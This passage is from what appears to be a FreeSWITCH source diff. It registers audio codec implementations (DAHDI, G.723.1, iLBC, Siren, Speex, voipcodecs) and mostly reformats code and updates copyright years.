1, /* number of channels represented */
fpnp, /* number of frames per network packet */
switch_dahdi_init, /* function to initialize a codec handle using this implementation */
switch_dahdi_encode, /* function to encode raw data into encoded data */
switch_dahdi_decode, /* function to decode encoded data into raw data */
switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
SWITCH_ADD_CODEC(codec_interface, "DAHDI G.729A 8.0k"); /* 8.0kbit */
mpf = 30000;
spf = 240;
bpfd = 480;
bpfc = 30;
fpnp = 30;
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
18, /* the IANA code number */
"G729", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
8000, /* bits transferred per second */
mpf, /* number of microseconds per frame */
spf, /* number of samples per frame */
bpfd, /* number of bytes per frame decompressed */
bpfc, /* number of bytes per frame compressed */
1, /* number of channels represented */
fpnp, /* number of frames per network packet */
switch_dahdi_init, /* function to initialize a codec handle using this implementation */
switch_dahdi_encode, /* function to encode raw data into encoded data */
switch_dahdi_decode, /* function to decode encoded data into raw data */
switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
18, /* the IANA code number */
"G729", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
8000, /* bits transferred per second */
mpf, /* number of microseconds per frame */
spf, /* number of samples per frame */
bpfd, /* number of bytes per frame decompressed */
bpfc, /* number of bytes per frame compressed */
1, /* number of channels represented */
fpnp, /* number of frames per network packet */
switch_dahdi_init, /* function to initialize a codec handle using this implementation */
switch_dahdi_encode, /* function to encode raw data into encoded data */
switch_dahdi_decode, /* function to decode encoded data into raw data */
switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
SWITCH_ADD_CODEC(codec_interface, "DAHDI G.723.1 5.3k"); /* 5.3kbit */
mpf = 30000; /* Algorithmic delay of 37.5ms with 7.5ms of look-ahead delay */
mpf = 30000;
spf = 240;
bpfd = 480;
bpfc = 30;
fpnp = 30;
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
18, /* the IANA code number */
"G729", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
8000, /* bits transferred per second */
mpf, /* number of microseconds per frame */
spf, /* number of samples per frame */
bpfd, /* number of bytes per frame decompressed */
bpfc, /* number of bytes per frame compressed */
1, /* number of channels represented */
fpnp, /* number of frames per network packet */
switch_dahdi_init, /* function to initialize a codec handle using this implementation */
switch_dahdi_encode, /* function to encode raw data into encoded data */
switch_dahdi_decode, /* function to decode encoded data into raw data */
switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
SWITCH_ADD_CODEC(codec_interface, "DAHDI G.723.1 5.3k"); /* 5.3kbit */
mpf = 30000; /* Algorithmic delay of 37.5ms with 7.5ms of look-ahead delay */
spf = 240;
bpfd = 480;
bpfc = 20;
fpnp = 10;
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
4, /* the IANA code number */
"G723", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
8000, /* bits transferred per second */
mpf, /* number of microseconds per frame */
spf, /* number of samples per frame */
bpfd, /* number of bytes per frame decompressed */
bpfc, /* number of bytes per frame compressed */
1, /* number of channels represented */
fpnp, /* number of frames per network packet */
switch_dahdi_init, /* function to initialize a codec handle using this implementation */
switch_dahdi_encode, /* function to encode raw data into encoded data */
switch_dahdi_decode, /* function to decode encoded data into raw data */
switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
4, /* the IANA code number */
"G723", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
8000, /* bits transferred per second */
mpf, /* number of microseconds per frame */
spf, /* number of samples per frame */
bpfd, /* number of bytes per frame decompressed */
bpfc, /* number of bytes per frame compressed */
1, /* number of channels represented */
fpnp, /* number of frames per network packet */
switch_dahdi_init, /* function to initialize a codec handle using this implementation */
switch_dahdi_encode, /* function to encode raw data into encoded data */
switch_dahdi_decode, /* function to decode encoded data into raw data */
switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
SWITCH_ADD_API(api_interface, "dahdi_transcode", "DAHDI Transcode", dahdi_transcode_usage, NULL);
switch_console_set_complete("add dahdi_transcode");
+4 -5
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -171,8 +171,8 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_g723_1_load)
{
switch_codec_interface_t *codec_interface;
int ompf = 30000, ospf = 240, obpf = 480, oebpf = 24, count = 0;
int mpf = ompf , spf = ospf , bpf = obpf , ebpf = oebpf ;
int mpf = ompf, spf = ospf, bpf = obpf, ebpf = oebpf;
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_CODEC(codec_interface, "G.723.1 6.3k");
@@ -180,8 +180,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_g723_1_load)
for (count = 0; count < 4; count++) {
switch_core_codec_add_implementation(pool, codec_interface,
SWITCH_CODEC_TYPE_AUDIO, 4, "G723", NULL, 8000, 8000, 6300,
mpf , spf , bpf , ebpf , 1, count,
switch_g723_init, switch_g723_encode, switch_g723_decode, switch_g723_destroy);
mpf, spf, bpf, ebpf, 1, count, switch_g723_init, switch_g723_encode, switch_g723_decode, switch_g723_destroy);
mpf += ompf;
spf += ospf;
bpf += obpf;
+1 -1
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
+1 -1
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
+39 -43
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -46,10 +46,10 @@ static switch_status_t switch_ilbc_init(switch_codec_t *codec, switch_codec_flag
int encoding = (flags & SWITCH_CODEC_FLAG_ENCODE);
int decoding = (flags & SWITCH_CODEC_FLAG_DECODE);
int mode = codec->implementation->microseconds_per_packet / 1000;
if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
return SWITCH_STATUS_FALSE;
}
}
if (codec->fmtp_in) {
int x, argc;
@@ -70,9 +70,9 @@ static switch_status_t switch_ilbc_init(switch_codec_t *codec, switch_codec_flag
}
}
}
codec->fmtp_out = switch_core_sprintf(codec->memory_pool, "mode=%d", mode);
if (encoding) {
ilbc_encode_init(&context->encoder_object, mode);
}
@@ -80,7 +80,7 @@ static switch_status_t switch_ilbc_init(switch_codec_t *codec, switch_codec_flag
if (decoding) {
ilbc_decode_init(&context->decoder_object, mode, 0);
}
codec->private_info = context;
return SWITCH_STATUS_SUCCESS;
}
@@ -122,7 +122,7 @@ static switch_status_t switch_ilbc_decode(switch_codec_t *codec,
return SWITCH_STATUS_FALSE;
}
*decoded_data_len = (2 *ilbc_decode(&context->decoder_object, (int16_t *) decoded_data, (uint8_t *) encoded_data, encoded_data_len));
*decoded_data_len = (2 * ilbc_decode(&context->decoder_object, (int16_t *) decoded_data, (uint8_t *) encoded_data, encoded_data_len));
return SWITCH_STATUS_SUCCESS;
}
@@ -137,45 +137,41 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_ilbc_load)
SWITCH_ADD_CODEC(codec_interface, "iLBC");
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
98, /* the IANA code number */
"iLBC", /* the IANA code name */
"mode=20", /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
15200, /* bits transferred per second */
20000, /* number of microseconds per frame */
ILBC_BLOCK_LEN_20MS, /* number of samples per frame */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
98, /* the IANA code number */
"iLBC", /* the IANA code name */
"mode=20", /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
15200, /* bits transferred per second */
20000, /* number of microseconds per frame */
ILBC_BLOCK_LEN_20MS, /* number of samples per frame */
ILBC_BLOCK_LEN_20MS * 2, /* number of bytes per frame decompressed */
ILBC_NO_OF_BYTES_20MS, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_ilbc_init, /* function to initialize a codec handle using this implementation */
switch_ilbc_encode, /* function to encode raw data into encoded data */
switch_ilbc_decode, /* function to decode encoded data into raw data */
switch_ilbc_destroy); /* deinitalize a codec handle using this implementation */
ILBC_NO_OF_BYTES_20MS, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_ilbc_init, /* function to initialize a codec handle using this implementation */
switch_ilbc_encode, /* function to encode raw data into encoded data */
switch_ilbc_decode, /* function to decode encoded data into raw data */
switch_ilbc_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
97, /* the IANA code number */
"iLBC", /* the IANA code name */
"mode=30", /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
13300, /* bits transferred per second */
30000, /* number of microseconds per frame */
ILBC_BLOCK_LEN_30MS, /* number of samples per frame */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
97, /* the IANA code number */
"iLBC", /* the IANA code name */
"mode=30", /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
13300, /* bits transferred per second */
30000, /* number of microseconds per frame */
ILBC_BLOCK_LEN_30MS, /* number of samples per frame */
ILBC_BLOCK_LEN_30MS * 2, /* number of bytes per frame decompressed */
ILBC_NO_OF_BYTES_30MS, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_ilbc_init, /* function to initialize a codec handle using this implementation */
switch_ilbc_encode, /* function to encode raw data into encoded data */
switch_ilbc_decode, /* function to decode encoded data into raw data */
switch_ilbc_destroy); /* deinitalize a codec handle using this implementation */
ILBC_NO_OF_BYTES_30MS, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_ilbc_init, /* function to initialize a codec handle using this implementation */
switch_ilbc_encode, /* function to encode raw data into encoded data */
switch_ilbc_decode, /* function to decode encoded data into raw data */
switch_ilbc_destroy); /* deinitalize a codec handle using this implementation */
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
+50 -54
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -56,7 +56,7 @@ static switch_status_t switch_siren_init(switch_codec_t *codec, switch_codec_fla
if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
return SWITCH_STATUS_FALSE;
}
}
if (codec->fmtp_in) {
int x, argc;
@@ -77,9 +77,9 @@ static switch_status_t switch_siren_init(switch_codec_t *codec, switch_codec_fla
}
}
}
codec->fmtp_out = switch_core_sprintf(codec->memory_pool, "bitrate=%d", bit_rate);
if (encoding) {
g722_1_encode_init(&context->encoder_object, bit_rate, codec->implementation->samples_per_second);
}
@@ -87,7 +87,7 @@ static switch_status_t switch_siren_init(switch_codec_t *codec, switch_codec_fla
if (decoding) {
g722_1_decode_init(&context->decoder_object, bit_rate, codec->implementation->samples_per_second);
}
codec->private_info = context;
return SWITCH_STATUS_SUCCESS;
}
@@ -99,11 +99,11 @@ static switch_status_t switch_siren_destroy(switch_codec_t *codec)
}
static switch_status_t switch_siren_encode(switch_codec_t *codec,
switch_codec_t *other_codec,
void *decoded_data,
uint32_t decoded_data_len,
uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
unsigned int *flag)
switch_codec_t *other_codec,
void *decoded_data,
uint32_t decoded_data_len,
uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
unsigned int *flag)
{
struct siren_context *context = codec->private_info;
@@ -116,14 +116,14 @@ static switch_status_t switch_siren_encode(switch_codec_t *codec,
}
static switch_status_t switch_siren_decode(switch_codec_t *codec,
switch_codec_t *other_codec,
void *encoded_data,
uint32_t encoded_data_len,
uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
unsigned int *flag)
switch_codec_t *other_codec,
void *encoded_data,
uint32_t encoded_data_len,
uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
unsigned int *flag)
{
struct siren_context *context = codec->private_info;
if (!context) {
return SWITCH_STATUS_FALSE;
}
@@ -148,47 +148,43 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_siren_load)
spf = 320, bpf = 640;
for (count = 3; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
107, /* the IANA code number */
"G7221", /* the IANA code name */
"bitrate=32000", /* default fmtp to send (can be overridden by the init function) */
16000, /* samples transferred per second */
16000, /* actual samples transferred per second */
32000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
0, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_siren_init, /* function to initialize a codec handle using this implementation */
switch_siren_encode, /* function to encode raw data into encoded data */
switch_siren_decode, /* function to decode encoded data into raw data */
switch_siren_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
107, /* the IANA code number */
"G7221", /* the IANA code name */
"bitrate=32000", /* default fmtp to send (can be overridden by the init function) */
16000, /* samples transferred per second */
16000, /* actual samples transferred per second */
32000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
0, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_siren_init, /* function to initialize a codec handle using this implementation */
switch_siren_encode, /* function to encode raw data into encoded data */
switch_siren_decode, /* function to decode encoded data into raw data */
switch_siren_destroy); /* deinitalize a codec handle using this implementation */
}
spf = 640, bpf = 1280;
for (count = 3; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
115, /* the IANA code number */
"G7221", /* the IANA code name */
"bitrate=48000", /* default fmtp to send (can be overridden by the init function) */
32000, /* samples transferred per second */
32000, /* actual samples transferred per second */
48000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
0, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_siren_init, /* function to initialize a codec handle using this implementation */
switch_siren_encode, /* function to encode raw data into encoded data */
switch_siren_decode, /* function to decode encoded data into raw data */
switch_siren_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
115, /* the IANA code number */
"G7221", /* the IANA code name */
"bitrate=48000", /* default fmtp to send (can be overridden by the init function) */
32000, /* samples transferred per second */
32000, /* actual samples transferred per second */
48000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
0, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_siren_init, /* function to initialize a codec handle using this implementation */
switch_siren_encode, /* function to encode raw data into encoded data */
switch_siren_decode, /* function to decode encoded data into raw data */
switch_siren_destroy); /* deinitalize a codec handle using this implementation */
}
/* indicate that the module should continue to be loaded */
+39 -41
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -94,15 +94,14 @@ static switch_status_t switch_skel_init(switch_codec_t *codec, switch_codec_flag
* SWITCH_STATUS_NOOP, NOOP indicates that the audio in is already the same as the audio out, so no conversion was necessary.
* SWITCH_STATUS_NOT_INITALIZED, failure to init, you can use this to init on first usage and no in switch_skel_init?
* */
static switch_status_t switch_skel_encode(switch_codec_t *codec,
switch_codec_t *other_codec, /* codec that was used by the other side */
void *decoded_data, /* decoded data that we must encode */
uint32_t decoded_data_len /* decoded data length */,
uint32_t decoded_rate /* rate of the decoded data */,
void *encoded_data, /* here we will store the encoded data */
uint32_t *encoded_data_len, /* here we will set the length of the encoded data */
uint32_t *encoded_rate /* here we will set the rate of the encoded data */,
unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */)
static switch_status_t switch_skel_encode(switch_codec_t *codec, switch_codec_t *other_codec, /* codec that was used by the other side */
void *decoded_data, /* decoded data that we must encode */
uint32_t decoded_data_len /* decoded data length */ ,
uint32_t decoded_rate /* rate of the decoded data */ ,
void *encoded_data, /* here we will store the encoded data */
uint32_t *encoded_data_len, /* here we will set the length of the encoded data */
uint32_t *encoded_rate /* here we will set the rate of the encoded data */ ,
unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */ )
{
struct skel_context *context = codec->private_info;
/* FS core checks the actual samples per second and microseconds per packet to determine the buffer size in the worst case scenario, no need to check
@@ -123,15 +122,15 @@ static switch_status_t switch_skel_encode(switch_codec_t *codec,
* SWITCH_STATUS_NOOP, NOOP indicates that the audio in is already the same as the audio out, so no conversion was necessary.
* SWITCH_STATUS_NOT_INITALIZED, failure to init, you can use this to init on first usage and no in switch_skel_init?
* */
static switch_status_t switch_skel_decode(switch_codec_t *codec, /* codec session handle */
switch_codec_t *other_codec, /* what is this? */
void *encoded_data, /* data that we must decode into slinear and put it in decoded_data */
uint32_t encoded_data_len, /* length in bytes of the encoded data */
uint32_t encoded_rate, /* at which rate was the data encoded */
void *decoded_data, /* buffer where we must put the decoded data */
uint32_t *decoded_data_len, /* we must set this value to the size of the decoded data */
uint32_t *decoded_rate, /* rate of the decoded data */
unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */)
static switch_status_t switch_skel_decode(switch_codec_t *codec, /* codec session handle */
switch_codec_t *other_codec, /* what is this? */
void *encoded_data, /* data that we must decode into slinear and put it in decoded_data */
uint32_t encoded_data_len, /* length in bytes of the encoded data */
uint32_t encoded_rate, /* at which rate was the data encoded */
void *decoded_data, /* buffer where we must put the decoded data */
uint32_t *decoded_data_len, /* we must set this value to the size of the decoded data */
uint32_t *decoded_rate, /* rate of the decoded data */
unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */ )
{
struct skel_context *context = codec->private_info;
/* FS core checks the actual samples per second and microseconds per packet to determine the buffer size in the worst case scenario, no need to check
@@ -150,7 +149,7 @@ static switch_status_t switch_skel_destroy(switch_codec_t *codec)
* no need to free memory allocated from the pool though, the owner of the pool takes care of that */
struct skel_context *context = codec->private_info;
context->encodes = 0;
context->decodes = 0; /* silly, context was allocated in the pool and therefore will be destroyed soon, exact time is not guaranteed though */
context->decodes = 0; /* silly, context was allocated in the pool and therefore will be destroyed soon, exact time is not guaranteed though */
return SWITCH_STATUS_SUCCESS;
}
@@ -180,32 +179,31 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_skel_codec_load)
/* SWITCH_ADD_CODEC allocates a codec interface structure from the pool the core gave us and adds it to the internal interface list the core keeps,
* gets a codec id and set the given codec name to it.
* At this point there is an empty shell codec interface registered, but not yet implementations */
SWITCH_ADD_CODEC(codec_interface, "SKEL 8.0k"); /* 8.0kbit */
SWITCH_ADD_CODEC(codec_interface, "SKEL 8.0k"); /* 8.0kbit */
/* Now add as many codec implementations as needed, typically this is done inside a for loop where the packetization size is
* incremented (10ms, 20ms, 30ms etc) as needed */
switch_core_codec_add_implementation(pool,
codec_interface, /* the codec interface we allocated and we want to register with the core */
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
0, /* the IANA code number, ie http://www.iana.org/assignments/rtp-parameters */
"SKEL", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function), fmtp is used in SDP for format specific parameters */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
8000, /* bits transferred per second */
20000, /* for 20ms (milliseconds) frames, 20,000 microseconds and so on, you can register the same codec with different packetization */
160, /* number of samples per frame, for this dummy implementation is 160, which is the number of samples in 20ms at 8000 samples per second */
320, /* number of bytes per frame decompressed */
320, /* number of bytes per frame compressed, since we dont really compress anything, is the same number as per frame decompressed */
1, /* number of channels represented */
20, /* number of frames per network packet */
switch_skel_init, /* function to initialize a codec session using this implementation */
switch_skel_encode, /* function to encode slinear data into encoded data */
switch_skel_decode, /* function to decode encoded data into slinear data */
switch_skel_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, /* the codec interface we allocated and we want to register with the core */
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
0, /* the IANA code number, ie http://www.iana.org/assignments/rtp-parameters */
"SKEL", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function), fmtp is used in SDP for format specific parameters */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
8000, /* bits transferred per second */
20000, /* for 20ms (milliseconds) frames, 20,000 microseconds and so on, you can register the same codec with different packetization */
160, /* number of samples per frame, for this dummy implementation is 160, which is the number of samples in 20ms at 8000 samples per second */
320, /* number of bytes per frame decompressed */
320, /* number of bytes per frame compressed, since we dont really compress anything, is the same number as per frame decompressed */
1, /* number of channels represented */
20, /* number of frames per network packet */
switch_skel_init, /* function to initialize a codec session using this implementation */
switch_skel_encode, /* function to encode slinear data into encoded data */
switch_skel_decode, /* function to decode encoded data into slinear data */
switch_skel_destroy); /* deinitalize a codec handle using this implementation */
SWITCH_ADD_API(api_interface, "skel_sayhi", "Skel Codec Says Hi", skel_sayhi, NULL);
switch_console_set_complete("add skel_sayhi"); /* For CLI completion */
switch_console_set_complete("add skel_sayhi"); /* For CLI completion */
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
}
+18 -20
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -272,25 +272,23 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_speex_load)
SWITCH_ADD_CODEC(codec_interface, "Speex");
for (counta = 1; counta <= 3; counta++) {
for (countb = 1; countb > 0; countb--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
ianacode[counta], /* the IANA code number */
"SPEEX", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
rate, /* samples transferred per second */
rate, /* actual samples transferred per second */
bps[counta], /* bits transferred per second */
mpf * countb, /* number of microseconds per frame */
spf * countb, /* number of samples per frame */
bpf * countb, /* number of bytes per frame decompressed */
0, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_speex_init, /* function to initialize a codec handle using this implementation */
switch_speex_encode, /* function to encode raw data into encoded data */
switch_speex_decode, /* function to decode encoded data into raw data */
switch_speex_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
ianacode[counta], /* the IANA code number */
"SPEEX", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
rate, /* samples transferred per second */
rate, /* actual samples transferred per second */
bps[counta], /* bits transferred per second */
mpf * countb, /* number of microseconds per frame */
spf * countb, /* number of samples per frame */
bpf * countb, /* number of bytes per frame decompressed */
0, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
switch_speex_init, /* function to initialize a codec handle using this implementation */
switch_speex_encode, /* function to encode raw data into encoded data */
switch_speex_decode, /* function to decode encoded data into raw data */
switch_speex_destroy); /* deinitalize a codec handle using this implementation */
}
rate = rate * 2;
spf = spf * 2;
+279 -298
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -80,9 +80,11 @@ static switch_status_t switch_lpc10_destroy(switch_codec_t *codec)
return SWITCH_STATUS_FALSE;
}
if (context->encoder_object) lpc10_encode_free(context->encoder_object);
if (context->encoder_object)
lpc10_encode_free(context->encoder_object);
context->encoder_object = NULL;
if (context->decoder_object) lpc10_decode_free(context->decoder_object);
if (context->decoder_object)
lpc10_decode_free(context->decoder_object);
context->decoder_object = NULL;
return SWITCH_STATUS_SUCCESS;
@@ -160,7 +162,8 @@ static switch_status_t switch_gsm_encode(switch_codec_t *codec,
switch_codec_t *other_codec,
void *decoded_data,
uint32_t decoded_data_len,
uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate, unsigned int *flag)
uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
unsigned int *flag)
{
struct gsm_context *context = codec->private_info;
@@ -177,7 +180,8 @@ static switch_status_t switch_gsm_decode(switch_codec_t *codec,
switch_codec_t *other_codec,
void *encoded_data,
uint32_t encoded_data_len,
uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate, unsigned int *flag)
uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
unsigned int *flag)
{
struct gsm_context *context = codec->private_info;
@@ -200,9 +204,11 @@ static switch_status_t switch_gsm_destroy(switch_codec_t *codec)
return SWITCH_STATUS_FALSE;
}
if (context->decoder_object) gsm0610_free(context->decoder_object);
if (context->decoder_object)
gsm0610_free(context->decoder_object);
context->decoder_object = NULL;
if (context->encoder_object) gsm0610_free(context->encoder_object);
if (context->encoder_object)
gsm0610_free(context->encoder_object);
context->encoder_object = NULL;
return SWITCH_STATUS_SUCCESS;
@@ -433,9 +439,11 @@ static switch_status_t switch_g722_destroy(switch_codec_t *codec)
return SWITCH_STATUS_FALSE;
}
if (context->decoder_object) g722_decode_free(context->decoder_object);
if (context->decoder_object)
g722_decode_free(context->decoder_object);
context->decoder_object = NULL;
if (context->encoder_object) g722_encode_free(context->encoder_object);
if (context->encoder_object)
g722_encode_free(context->encoder_object);
context->encoder_object = NULL;
return SWITCH_STATUS_SUCCESS;
@@ -456,14 +464,14 @@ static switch_status_t switch_g726_init(switch_codec_t *codec, switch_codec_flag
if (!(encoding || decoding)) {
return SWITCH_STATUS_FALSE;
}
}
if ((flags & SWITCH_CODEC_FLAG_AAL2 || strstr(codec->implementation->iananame, "AAL2"))) {
packing = G726_PACKING_LEFT;
}
context = g726_init(context, codec->implementation->bits_per_second, G726_ENCODING_LINEAR, packing);
codec->private_info = context;
return SWITCH_STATUS_SUCCESS;
@@ -597,9 +605,11 @@ static switch_status_t switch_adpcm_destroy(switch_codec_t *codec)
return SWITCH_STATUS_FALSE;
}
if (context->decoder_object) ima_adpcm_free(context->decoder_object);
if (context->decoder_object)
ima_adpcm_free(context->decoder_object);
context->decoder_object = NULL;
if (context->encoder_object) ima_adpcm_free(context->encoder_object);
if (context->encoder_object)
ima_adpcm_free(context->encoder_object);
context->encoder_object = NULL;
return SWITCH_STATUS_SUCCESS;
@@ -620,260 +630,238 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_voipcodecs_load)
mpf = 10000, spf = 80, bpf = 160, ebpf = 80;
SWITCH_ADD_CODEC(codec_interface, "ADPCM (IMA)");
for (count = 12; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
